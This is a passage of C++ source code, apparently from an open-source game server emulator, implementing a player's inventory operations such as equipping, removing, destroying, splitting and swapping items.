if (!clone)
{
// delete item (it not in any slot currently)
if (IsInWorld() && update)
{
pItem->RemoveFromWorld();
pItem->DestroyForPlayer( this );
}
RemoveEnchantmentDurations(pItem);
RemoveItemDurations(pItem);
pItem->SetOwnerGuid(GetObjectGuid()); // prevent error at next SetState in case trade/mail/buy from vendor
pItem->SetSoulboundTradeable(NULL, this, false);
RemoveTradeableItem(pItem);
pItem->SetState(ITEM_REMOVED, this);
}
// AddItemDurations(pItem2); - pItem2 already have duration listed for player
AddEnchantmentDurations(pItem2);
pItem2->SetState(ITEM_CHANGED, this);
return pItem2;
}
}
Item* Player::EquipNewItem( uint16 pos, uint32 item, bool update )
{
if (Item *pItem = Item::CreateItem(item, 1, this))
{
ResetCachedGearScore();
ItemAddedQuestCheck( item, 1 );
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_RECEIVE_EPIC_ITEM, item, 1);
return EquipItem( pos, pItem, update );
}
return NULL;
}
Item* Player::EquipItem( uint16 pos, Item *pItem, bool update )
{
AddEnchantmentDurations(pItem);
AddItemDurations(pItem);
uint8 bag = pos >> 8;
uint8 slot = pos & 255;
Item *pItem2 = GetItemByPos(bag, slot);
if (!pItem2)
{
VisualizeItem( slot, pItem);
if (isAlive())
{
ItemPrototype const *pProto = pItem->GetProto();
// item set bonuses applied only at equip and removed at unequip, and still active for broken items
if (pProto && pProto->ItemSet)
AddItemsSetItem(this, pItem);
_ApplyItemMods(pItem, slot, true);
ApplyItemOnStoreSpell(pItem, true);
// Weapons and also Totem/Relic/Sigil/etc
if (pProto && isInCombat() && (pProto->Class == ITEM_CLASS_WEAPON || pProto->InventoryType == INVTYPE_RELIC) && m_weaponChangeTimer == 0)
{
uint32 cooldownSpell = SPELL_ID_WEAPON_SWITCH_COOLDOWN_1_5s;
if (getClass() == CLASS_ROGUE)
cooldownSpell = SPELL_ID_WEAPON_SWITCH_COOLDOWN_1_0s;
SpellEntry const* spellProto = sSpellStore.LookupEntry(cooldownSpell);
if (!spellProto)
sLog.outError("Weapon switch cooldown spell %u couldn't be found in Spell.dbc", cooldownSpell);
else
{
m_weaponChangeTimer = spellProto->StartRecoveryTime;
WorldPacket data(SMSG_SPELL_COOLDOWN, 8+1+4);
data << GetObjectGuid();
data << uint8(1);
data << uint32(cooldownSpell);
data << uint32(0);
GetSession()->SendPacket(&data);
}
}
}
if ( IsInWorld() && update )
{
pItem->AddToWorld();
pItem->SendCreateUpdateToPlayer( this );
}
ApplyEquipCooldown(pItem);
if ( slot == EQUIPMENT_SLOT_MAINHAND )
{
UpdateExpertise(BASE_ATTACK);
UpdateArmorPenetration();
}
else if ( slot == EQUIPMENT_SLOT_OFFHAND )
{
UpdateExpertise(OFF_ATTACK);
UpdateArmorPenetration();
}
}
else
{
pItem2->SetCount( pItem2->GetCount() + pItem->GetCount() );
if ( IsInWorld() && update )
pItem2->SendCreateUpdateToPlayer( this );
// delete item (it not in any slot currently)
//pItem->DeleteFromDB();
if ( IsInWorld() && update )
{
pItem->RemoveFromWorld();
pItem->DestroyForPlayer( this );
}
RemoveEnchantmentDurations(pItem);
RemoveItemDurations(pItem);
pItem->SetOwnerGuid(GetObjectGuid()); // prevent error at next SetState in case trade/mail/buy from vendor
pItem->SetSoulboundTradeable(NULL, this, false);
RemoveTradeableItem(pItem);
pItem->SetState(ITEM_REMOVED, this);
pItem2->SetState(ITEM_CHANGED, this);
ApplyEquipCooldown(pItem2);
return pItem2;
}
// Apply Titan's Grip damage penalty if necessary
if ((slot == EQUIPMENT_SLOT_MAINHAND || slot == EQUIPMENT_SLOT_OFFHAND) && CanTitanGrip() && HasTwoHandWeaponInOneHand() && !HasAura(49152))
CastSpell(this, 49152, true);
// only for full equip instead adding to stack
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EQUIP_ITEM, pItem->GetEntry());
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EQUIP_EPIC_ITEM, slot+1);
return pItem;
}
void Player::QuickEquipItem( uint16 pos, Item *pItem)
{
if ( pItem )
{
AddEnchantmentDurations(pItem);
AddItemDurations(pItem);
ApplyItemOnStoreSpell(pItem, true);
uint8 slot = pos & 255;
VisualizeItem( slot, pItem);
if ( IsInWorld() )
{
pItem->AddToWorld();
pItem->SendCreateUpdateToPlayer( this );
}
// Apply Titan's Grip damage penalty if necessary
if ((slot == EQUIPMENT_SLOT_MAINHAND || slot == EQUIPMENT_SLOT_OFFHAND) && CanTitanGrip() && HasTwoHandWeaponInOneHand() && !HasAura(49152))
CastSpell(this, 49152, true);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EQUIP_ITEM, pItem->GetEntry());
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_EQUIP_EPIC_ITEM, slot+1);
}
}
void Player::SetVisibleItemSlot(uint8 slot, Item *pItem)
{
if (pItem)
{
SetUInt32Value(PLAYER_VISIBLE_ITEM_1_ENTRYID + (slot * 2), pItem->GetEntry());
SetUInt16Value(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + (slot * 2), 0, pItem->GetEnchantmentId(PERM_ENCHANTMENT_SLOT));
SetUInt16Value(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + (slot * 2), 1, pItem->GetEnchantmentId(TEMP_ENCHANTMENT_SLOT));
}
else
{
SetUInt32Value(PLAYER_VISIBLE_ITEM_1_ENTRYID + (slot * 2), 0);
SetUInt32Value(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + (slot * 2), 0);
}
}
void Player::VisualizeItem( uint8 slot, Item *pItem)
{
if(!pItem)
return;
// check also BIND_WHEN_PICKED_UP and BIND_QUEST_ITEM for .additem or .additemset case by GM (not binded at adding to inventory)
if ( pItem->GetProto()->Bonding == BIND_WHEN_EQUIPPED || pItem->GetProto()->Bonding == BIND_WHEN_PICKED_UP || pItem->GetProto()->Bonding == BIND_QUEST_ITEM )
pItem->SetBinding( true );
DEBUG_LOG( "STORAGE: EquipItem slot = %u, item = %u", slot, pItem->GetEntry());
m_items[slot] = pItem;
SetGuidValue(PLAYER_FIELD_INV_SLOT_HEAD + (slot * 2), pItem->GetObjectGuid());
pItem->SetGuidValue(ITEM_FIELD_CONTAINED, GetObjectGuid());
pItem->SetGuidValue(ITEM_FIELD_OWNER, GetObjectGuid());
pItem->SetSlot( slot );
pItem->SetContainer( NULL );
if ( slot < EQUIPMENT_SLOT_END )
SetVisibleItemSlot(slot, pItem);
pItem->SetState(ITEM_CHANGED, this);
}
void Player::RemoveItem( uint8 bag, uint8 slot, bool update )
{
// note: removeitem does not actually change the item
// it only takes the item out of storage temporarily
// note2: if removeitem is to be used for delinking
// the item must be removed from the player's updatequeue
if (Item *pItem = GetItemByPos(bag, slot))
{
DEBUG_LOG( "STORAGE: RemoveItem bag = %u, slot = %u, item = %u", bag, slot, pItem->GetEntry());
RemoveEnchantmentDurations(pItem);
RemoveItemDurations(pItem);
if ( bag == INVENTORY_SLOT_BAG_0 )
{
if ( slot < INVENTORY_SLOT_BAG_END )
{
ItemPrototype const *pProto = pItem->GetProto();
// item set bonuses applied only at equip and removed at unequip, and still active for broken items
if (pProto && pProto->ItemSet)
RemoveItemsSetItem(this, pProto);
_ApplyItemMods(pItem, slot, false);
// remove item dependent auras and casts (only weapon and armor slots)
if (slot < EQUIPMENT_SLOT_END)
{
RemoveItemDependentAurasAndCasts(pItem);
// remove held enchantments, update expertise
if ( slot == EQUIPMENT_SLOT_MAINHAND )
{
if (pItem->GetItemSuffixFactor())
{
pItem->ClearEnchantment(PROP_ENCHANTMENT_SLOT_3);
pItem->ClearEnchantment(PROP_ENCHANTMENT_SLOT_4);
}
else
{
pItem->ClearEnchantment(PROP_ENCHANTMENT_SLOT_0);
pItem->ClearEnchantment(PROP_ENCHANTMENT_SLOT_1);
}
UpdateExpertise(BASE_ATTACK);
UpdateArmorPenetration();
}
else if ( slot == EQUIPMENT_SLOT_OFFHAND )
{
UpdateExpertise(OFF_ATTACK);
UpdateArmorPenetration();
}
}
}
// need update known currency
else if (slot >= CURRENCYTOKEN_SLOT_START && slot < CURRENCYTOKEN_SLOT_END)
UpdateKnownCurrencies(pItem->GetEntry(), false);
m_items[slot] = NULL;
SetGuidValue(PLAYER_FIELD_INV_SLOT_HEAD + (slot * 2), ObjectGuid());
if ( slot < EQUIPMENT_SLOT_END )
{
SetVisibleItemSlot(slot, NULL);
// Remove Titan's Grip damage penalty if necessary
if ((slot == EQUIPMENT_SLOT_MAINHAND || slot == EQUIPMENT_SLOT_OFFHAND) && CanTitanGrip() && !HasTwoHandWeaponInOneHand())
RemoveAurasDueToSpell(49152);
}
}
else
{
Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag );
if ( pBag )
pBag->RemoveItem(slot, update);
}
pItem->SetGuidValue(ITEM_FIELD_CONTAINED, ObjectGuid());
// pItem->SetGuidValue(ITEM_FIELD_OWNER, ObjectGuid()); not clear owner at remove (it will be set at store). This used in mail and auction code
pItem->SetSlot( NULL_SLOT );
//ApplyItemOnStoreSpell, for avoid re-apply will remove at _adding_ to not appropriate slot
if (IsInWorld() && update)
pItem->SendCreateUpdateToPlayer( this );
}
}
// Common operation need to remove item from inventory without delete in trade, auction, guild bank, mail....
void Player::MoveItemFromInventory(uint8 bag, uint8 slot, bool update)
{
if (Item* it = GetItemByPos(bag,slot))
{
ItemRemovedQuestCheck(it->GetEntry(), it->GetCount());
RemoveItem(bag, slot, update);
// item atStore spell not removed in RemoveItem (for avoid reappaly in slots changes), so do it directly
if (IsEquipmentPos(bag, slot) || IsInventoryPos(bag, slot))
ApplyItemOnStoreSpell(it, false);
it->RemoveFromUpdateQueueOf(this);
if (it->IsInWorld())
{
it->RemoveFromWorld();
it->DestroyForPlayer( this );
}
}
}
// Common operation need to add item from inventory without delete in trade, guild bank, mail....
void Player::MoveItemToInventory(ItemPosCountVec const& dest, Item* pItem, bool update, bool in_characterInventoryDB)
{
// update quest counters
ItemAddedQuestCheck(pItem->GetEntry(), pItem->GetCount());
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_RECEIVE_EPIC_ITEM, pItem->GetEntry(), pItem->GetCount());
// store item
Item* pLastItem = StoreItem(dest, pItem, update);
// only set if not merged to existing stack (pItem can be deleted already but we can compare pointers any way)
if (pLastItem == pItem)
{
// update owner for last item (this can be original item with wrong owner
if (pLastItem->GetOwnerGuid() != GetObjectGuid())
pLastItem->SetOwnerGuid(GetObjectGuid());
// if this original item then it need create record in inventory
// in case trade we already have item in other player inventory
pLastItem->SetState(in_characterInventoryDB ? ITEM_CHANGED : ITEM_NEW, this);
}
if (pLastItem->HasFlag(ITEM_FIELD_FLAGS, ITEM_DYNFLAG_BOP_TRADEABLE))
m_itemSoulboundTradeable.push_back(pLastItem);
}
void Player::DestroyItem( uint8 bag, uint8 slot, bool update )
{
Item *pItem = GetItemByPos( bag, slot );
if ( pItem )
{
DEBUG_LOG( "STORAGE: DestroyItem bag = %u, slot = %u, item = %u", bag, slot, pItem->GetEntry());
// start from destroy contained items (only equipped bag can have its)
if (pItem->IsBag() && pItem->IsEquipped()) // this also prevent infinity loop if empty bag stored in bag==slot
{
for (int i = 0; i < MAX_BAG_SIZE; ++i)
DestroyItem(slot, i, update);
}
if (pItem->HasFlag(ITEM_FIELD_FLAGS, ITEM_DYNFLAG_WRAPPED))
{
static SqlStatementID delGifts ;
SqlStatement stmt = CharacterDatabase.CreateStatement(delGifts, "DELETE FROM character_gifts WHERE item_guid = ?");
stmt.PExecute(pItem->GetGUIDLow());
}
RemoveEnchantmentDurations(pItem);
RemoveItemDurations(pItem);
pItem->SetSoulboundTradeable(NULL, this, false);
RemoveTradeableItem(pItem);
if (IsEquipmentPos(bag, slot) || IsInventoryPos(bag, slot))
ApplyItemOnStoreSpell(pItem, false);
ItemRemovedQuestCheck( pItem->GetEntry(), pItem->GetCount() );
if ( bag == INVENTORY_SLOT_BAG_0 )
{
SetGuidValue(PLAYER_FIELD_INV_SLOT_HEAD + (slot * 2), ObjectGuid());
// equipment and equipped bags can have applied bonuses
if ( slot < INVENTORY_SLOT_BAG_END )
{
ItemPrototype const *pProto = pItem->GetProto();
// item set bonuses applied only at equip and removed at unequip, and still active for broken items
if (pProto && pProto->ItemSet)
RemoveItemsSetItem(this, pProto);
_ApplyItemMods(pItem, slot, false);
}
if ( slot < EQUIPMENT_SLOT_END )
{
// remove item dependent auras and casts (only weapon and armor slots)
RemoveItemDependentAurasAndCasts(pItem);
// update expertise
if ( slot == EQUIPMENT_SLOT_MAINHAND )
{
UpdateExpertise(BASE_ATTACK);
UpdateArmorPenetration();
}
else if ( slot == EQUIPMENT_SLOT_OFFHAND )
{
UpdateExpertise(OFF_ATTACK);
UpdateArmorPenetration();
}
// equipment visual show
SetVisibleItemSlot(slot, NULL);
}
// need update known currency
else if (slot >= CURRENCYTOKEN_SLOT_START && slot < CURRENCYTOKEN_SLOT_END)
UpdateKnownCurrencies(pItem->GetEntry(), false);
m_items[slot] = NULL;
}
else if (Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag ))
pBag->RemoveItem(slot, update);
if ( IsInWorld() && update )
{
pItem->RemoveFromWorld();
pItem->DestroyForPlayer(this);
}
//pItem->SetOwnerGUID(0);
pItem->SetGuidValue(ITEM_FIELD_CONTAINED, ObjectGuid());
pItem->SetSlot( NULL_SLOT );
pItem->SetState(ITEM_REMOVED, this);
}
}
void Player::DestroyItemCount( uint32 item, uint32 count, bool update, bool unequip_check)
{
DEBUG_LOG( "STORAGE: DestroyItemCount item = %u, count = %u", item, count);
uint32 remcount = 0;
// in inventory
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
if (pItem->GetEntry() == item && !pItem->IsInTrade())
{
if (pItem->GetCount() + remcount <= count)
{
// all items in inventory can unequipped
remcount += pItem->GetCount();
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
if (remcount >= count)
return;
}
else
{
ItemRemovedQuestCheck( pItem->GetEntry(), count - remcount );
pItem->SetCount( pItem->GetCount() - count + remcount );
if (IsInWorld() & update)
pItem->SendCreateUpdateToPlayer( this );
pItem->SetState(ITEM_CHANGED, this);
return;
}
}
}
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
if (pItem->GetEntry() == item && !pItem->IsInTrade())
{
if (pItem->GetCount() + remcount <= count)
{
// all keys can be unequipped
remcount += pItem->GetCount();
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
if (remcount >= count)
return;
}
else
{
ItemRemovedQuestCheck( pItem->GetEntry(), count - remcount );
pItem->SetCount( pItem->GetCount() - count + remcount );
if (IsInWorld() & update)
pItem->SendCreateUpdateToPlayer( this );
pItem->SetState(ITEM_CHANGED, this);
return;
}
}
}
}
// in inventory bags
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
if (Item* pItem = pBag->GetItemByPos(j))
{
if (pItem->GetEntry() == item && !pItem->IsInTrade())
{
// all items in bags can be unequipped
if (pItem->GetCount() + remcount <= count)
{
remcount += pItem->GetCount();
DestroyItem( i, j, update );
if (remcount >= count)
return;
}
else
{
ItemRemovedQuestCheck( pItem->GetEntry(), count - remcount );
pItem->SetCount( pItem->GetCount() - count + remcount );
if (IsInWorld() && update)
pItem->SendCreateUpdateToPlayer( this );
pItem->SetState(ITEM_CHANGED, this);
return;
}
}
}
}
}
}
// in equipment and bag list
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
if (pItem && pItem->GetEntry() == item && !pItem->IsInTrade())
{
if (pItem->GetCount() + remcount <= count)
{
if (!unequip_check || CanUnequipItem(INVENTORY_SLOT_BAG_0 << 8 | i, false) == EQUIP_ERR_OK )
{
remcount += pItem->GetCount();
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
if (remcount >= count)
return;
}
}
else
{
ItemRemovedQuestCheck( pItem->GetEntry(), count - remcount );
pItem->SetCount( pItem->GetCount() - count + remcount );
if (IsInWorld() & update)
pItem->SendCreateUpdateToPlayer( this );
pItem->SetState(ITEM_CHANGED, this);
return;
}
}
}
}
}
void Player::DestroyZoneLimitedItem( bool update, uint32 new_zone )
{
DEBUG_LOG( "STORAGE: DestroyZoneLimitedItem in map %u and area %u", GetMapId(), new_zone );
// in inventory
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (pItem->IsLimitedToAnotherMapOrZone(GetMapId(), new_zone))
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (pItem->IsLimitedToAnotherMapOrZone(GetMapId(), new_zone))
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
// in inventory bags
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = pBag->GetItemByPos(j))
if (pItem->IsLimitedToAnotherMapOrZone(GetMapId(), new_zone))
DestroyItem(i, j, update);
// in equipment and bag list
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (pItem->IsLimitedToAnotherMapOrZone(GetMapId(), new_zone))
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
}
void Player::DestroyConjuredItems( bool update )
{
// used when entering arena
// destroys all conjured items
DEBUG_LOG( "STORAGE: DestroyConjuredItems" );
// in inventory
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (pItem->IsConjuredConsumable())
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
// in inventory bags
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = pBag->GetItemByPos(j))
if (pItem->IsConjuredConsumable())
DestroyItem( i, j, update);
// in equipment and bag list
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Item* pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
if (pItem->IsConjuredConsumable())
DestroyItem( INVENTORY_SLOT_BAG_0, i, update);
}
void Player::DestroyItemCount( Item* pItem, uint32 &count, bool update )
{
if(!pItem)
return;
DEBUG_LOG( "STORAGE: DestroyItemCount item (GUID: %u, Entry: %u) count = %u", pItem->GetGUIDLow(),pItem->GetEntry(), count);
if ( pItem->GetCount() <= count )
{
count -= pItem->GetCount();
DestroyItem( pItem->GetBagSlot(),pItem->GetSlot(), update);
}
else
{
ItemRemovedQuestCheck( pItem->GetEntry(), count);
pItem->SetCount( pItem->GetCount() - count );
count = 0;
if ( IsInWorld() & update )
pItem->SendCreateUpdateToPlayer( this );
pItem->SetState(ITEM_CHANGED, this);
}
}
void Player::SplitItem( uint16 src, uint16 dst, uint32 count )
{
uint8 srcbag = src >> 8;
uint8 srcslot = src & 255;
uint8 dstbag = dst >> 8;
uint8 dstslot = dst & 255;
Item *pSrcItem = GetItemByPos( srcbag, srcslot );
if (!pSrcItem)
{
SendEquipError( EQUIP_ERR_ITEM_NOT_FOUND, pSrcItem, NULL );
return;
}
if (pSrcItem->HasGeneratedLoot()) // prevent split looting item (stackable items can has only temporary loot and this meaning that loot window open)
{
//best error message found for attempting to split while looting
SendEquipError( EQUIP_ERR_COULDNT_SPLIT_ITEMS, pSrcItem, NULL );
return;
}
// not let split all items (can be only at cheating)
if (pSrcItem->GetCount() == count)
{
SendEquipError( EQUIP_ERR_COULDNT_SPLIT_ITEMS, pSrcItem, NULL );
return;
}
// not let split more existing items (can be only at cheating)
if (pSrcItem->GetCount() < count)
{
SendEquipError( EQUIP_ERR_TRIED_TO_SPLIT_MORE_THAN_COUNT, pSrcItem, NULL );
return;
}
DEBUG_LOG( "STORAGE: SplitItem bag = %u, slot = %u, item = %u, count = %u", dstbag, dstslot, pSrcItem->GetEntry(), count);
Item *pNewItem = pSrcItem->CloneItem( count, this );
if (!pNewItem)
{
SendEquipError( EQUIP_ERR_ITEM_NOT_FOUND, pSrcItem, NULL );
return;
}
if (IsInventoryPos(dst))
{
// change item amount before check (for unique max count check)
pSrcItem->SetCount( pSrcItem->GetCount() - count );
ItemPosCountVec dest;
InventoryResult msg = CanStoreItem( dstbag, dstslot, dest, pNewItem, false );
if (msg != EQUIP_ERR_OK)
{
delete pNewItem;
pSrcItem->SetCount( pSrcItem->GetCount() + count );
SendEquipError( msg, pSrcItem, NULL );
return;
}
if (IsInWorld())
pSrcItem->SendCreateUpdateToPlayer( this );
pSrcItem->SetState(ITEM_CHANGED, this);
StoreItem( dest, pNewItem, true);
}
else if (IsBankPos (dst))
{
// change item amount before check (for unique max count check)
pSrcItem->SetCount( pSrcItem->GetCount() - count );
ItemPosCountVec dest;
InventoryResult msg = CanBankItem( dstbag, dstslot, dest, pNewItem, false );
if ( msg != EQUIP_ERR_OK )
{
delete pNewItem;
pSrcItem->SetCount( pSrcItem->GetCount() + count );
SendEquipError( msg, pSrcItem, NULL );
return;
}
if (IsInWorld())
pSrcItem->SendCreateUpdateToPlayer( this );
pSrcItem->SetState(ITEM_CHANGED, this);
BankItem( dest, pNewItem, true);
}
else if (IsEquipmentPos (dst))
{
// change item amount before check (for unique max count check), provide space for splitted items
pSrcItem->SetCount( pSrcItem->GetCount() - count );
uint16 dest;
InventoryResult msg = CanEquipItem( dstslot, dest, pNewItem, false );
if (msg != EQUIP_ERR_OK)
{
delete pNewItem;
pSrcItem->SetCount( pSrcItem->GetCount() + count );
SendEquipError( msg, pSrcItem, NULL );
return;
}
if (IsInWorld())
pSrcItem->SendCreateUpdateToPlayer( this );
pSrcItem->SetState(ITEM_CHANGED, this);
EquipItem( dest, pNewItem, true);
AutoUnequipOffhandIfNeed();
}
}
void Player::SwapItem( uint16 src, uint16 dst )
{
uint8 srcbag = src >> 8;
uint8 srcslot = src & 255;
uint8 dstbag = dst >> 8;
uint8 dstslot = dst & 255;
Item *pSrcItem = GetItemByPos( srcbag, srcslot );
Item *pDstItem = GetItemByPos( dstbag, dstslot );
if (!pSrcItem)
return;
DEBUG_LOG( "STORAGE: SwapItem bag = %u, slot = %u, item = %u", dstbag, dstslot, pSrcItem->GetEntry());
if (!isAlive())
{
SendEquipError( EQUIP_ERR_YOU_ARE_DEAD, pSrcItem, pDstItem );
return;
}
// SRC checks
// check unequip potability for equipped items and bank bags
if (IsEquipmentPos(src) || IsBagPos(src))
{
// bags can be swapped with empty bag slots, or with empty bag (items move possibility checked later)
InventoryResult msg = CanUnequipItem( src, !IsBagPos ( src ) || IsBagPos ( dst ) || (pDstItem && pDstItem->IsBag() && ((Bag*)pDstItem)->IsEmpty()));
if (msg != EQUIP_ERR_OK)
{
SendEquipError( msg, pSrcItem, pDstItem );
return;
}
}
// prevent put equipped/bank bag in self
if (IsBagPos(src) && srcslot == dstbag)
{
SendEquipError( EQUIP_ERR_NONEMPTY_BAG_OVER_OTHER_BAG, pSrcItem, pDstItem );
return;
}
// prevent put equipped/bank bag in self
if (IsBagPos(dst) && dstslot == srcbag)
{
SendEquipError( EQUIP_ERR_NONEMPTY_BAG_OVER_OTHER_BAG, pDstItem, pSrcItem );
return;
}
// DST checks
if (pDstItem)
{
// check unequip potability for equipped items and bank bags
if (IsEquipmentPos ( dst ) || IsBagPos ( dst ))
{
// bags can be swapped with empty bag slots, or with empty bag (items move possibility checked later)
InventoryResult msg = CanUnequipItem( dst, !IsBagPos ( dst ) || IsBagPos ( src ) || (pSrcItem->IsBag() && ((Bag*)pSrcItem)->IsEmpty()));
if (msg != EQUIP_ERR_OK)
{
SendEquipError( msg, pSrcItem, pDstItem );
return;
}
}
}
// NOW this is or item move (swap with empty), or swap with another item (including bags in bag possitions)
// or swap empty bag with another empty or not empty bag (with items exchange)
// Move case
if ( !pDstItem )
{
if ( IsInventoryPos( dst ) )
{
ItemPosCountVec dest;
InventoryResult msg = CanStoreItem( dstbag, dstslot, dest, pSrcItem, false );
if ( msg != EQUIP_ERR_OK )
{
SendEquipError( msg, pSrcItem, NULL );
return;
}
RemoveItem(srcbag, srcslot, true);
StoreItem( dest, pSrcItem, true);
}
else if ( IsBankPos ( dst ) )
{
ItemPosCountVec dest;
InventoryResult msg = CanBankItem( dstbag, dstslot, dest, pSrcItem, false);
if ( msg != EQUIP_ERR_OK )
{
SendEquipError( msg, pSrcItem, NULL );
return;
}
RemoveItem(srcbag, srcslot, true);
BankItem( dest, pSrcItem, true);
}
else if ( IsEquipmentPos ( dst ) )
{
uint16 dest;
InventoryResult msg = CanEquipItem( dstslot, dest, pSrcItem, false );
if ( msg != EQUIP_ERR_OK )
{
SendEquipError( msg, pSrcItem, NULL );
return;
}
RemoveItem(srcbag, srcslot, true);
EquipItem(dest, pSrcItem, true);
AutoUnequipOffhandIfNeed();
}
return;
}
// attempt merge to / fill target item
if(!pSrcItem->IsBag() && !pDstItem->IsBag())
{
InventoryResult msg;
ItemPosCountVec sDest;
uint16 eDest;
if ( IsInventoryPos( dst ) )
msg = CanStoreItem( dstbag, dstslot, sDest, pSrcItem, false );
else if ( IsBankPos ( dst ) )
msg = CanBankItem( dstbag, dstslot, sDest, pSrcItem, false );
else if ( IsEquipmentPos ( dst ) )
msg = CanEquipItem( dstslot, eDest, pSrcItem, false );
else
return;
// can be merge/fill
if (msg == EQUIP_ERR_OK)
{
if ( pSrcItem->GetCount() + pDstItem->GetCount() <= pSrcItem->GetProto()->GetMaxStackSize())
{
RemoveItem(srcbag, srcslot, true);
if ( IsInventoryPos( dst ) )
StoreItem( sDest, pSrcItem, true);
else if ( IsBankPos ( dst ) )
BankItem( sDest, pSrcItem, true);
else if ( IsEquipmentPos ( dst ) )
{
EquipItem( eDest, pSrcItem, true);
AutoUnequipOffhandIfNeed();
}
}
else
{
pSrcItem->SetCount( pSrcItem->GetCount() + pDstItem->GetCount() - pSrcItem->GetProto()->GetMaxStackSize());
pDstItem->SetCount( pSrcItem->GetProto()->GetMaxStackSize());
pSrcItem->SetState(ITEM_CHANGED, this);
pDstItem->SetState(ITEM_CHANGED, this);
if ( IsInWorld() )
{
pSrcItem->SendCreateUpdateToPlayer( this );
pDstItem->SendCreateUpdateToPlayer( this );
}
}
return;
}
}
// impossible merge/fill, do real swap
InventoryResult msg;
// check src->dest move possibility
ItemPosCountVec sDest;
uint16 eDest = 0;
if ( IsInventoryPos( dst ) )
msg = CanStoreItem( dstbag, dstslot, sDest, pSrcItem, true );
else if ( IsBankPos( dst ) )
msg = CanBankItem( dstbag, dstslot, sDest, pSrcItem, true );
else if ( IsEquipmentPos( dst ) )
{
msg = CanEquipItem( dstslot, eDest, pSrcItem, true );
if ( msg == EQUIP_ERR_OK )
msg = CanUnequipItem( eDest, true );
}
if ( msg != EQUIP_ERR_OK )
{
SendEquipError( msg, pSrcItem, pDstItem );
return;
}
// check dest->src move possibility
ItemPosCountVec sDest2;
uint16 eDest2 = 0;
if ( IsInventoryPos( src ) )
msg = CanStoreItem( srcbag, srcslot, sDest2, pDstItem, true );
else if ( IsBankPos( src ) )
msg = CanBankItem( srcbag, srcslot, sDest2, pDstItem, true );
else if ( IsEquipmentPos( src ) )
{
msg = CanEquipItem( srcslot, eDest2, pDstItem, true);
if ( msg == EQUIP_ERR_OK )
msg = CanUnequipItem( eDest2, true);
}
if ( msg != EQUIP_ERR_OK )
{
SendEquipError( msg, pDstItem, pSrcItem );
return;
}
// Check bag swap with item exchange (one from empty in not bag possition (equipped (not possible in fact) or store)
if (pSrcItem->IsBag() && pDstItem->IsBag())
{
Bag* emptyBag = NULL;
Bag* fullBag = NULL;
if(((Bag*)pSrcItem)->IsEmpty() && !IsBagPos(src))
{
emptyBag = (Bag*)pSrcItem;
fullBag = (Bag*)pDstItem;
}
else if(((Bag*)pDstItem)->IsEmpty() && !IsBagPos(dst))
{
emptyBag = (Bag*)pDstItem;
fullBag = (Bag*)pSrcItem;
}
// bag swap (with items exchange) case
if (emptyBag && fullBag)
{
ItemPrototype const* emotyProto = emptyBag->GetProto();
uint32 count = 0;
for(uint32 i=0; i < fullBag->GetBagSize(); ++i)
{
Item *bagItem = fullBag->GetItemByPos(i);
if (!bagItem)
continue;
ItemPrototype const* bagItemProto = bagItem->GetProto();
if (!bagItemProto || !ItemCanGoIntoBag(bagItemProto, emotyProto))
{
// one from items not go to empty target bag
SendEquipError( EQUIP_ERR_NONEMPTY_BAG_OVER_OTHER_BAG, pSrcItem, pDstItem );
return;
}
++count;
}
if (count > emptyBag->GetBagSize())
{
// too small targeted bag
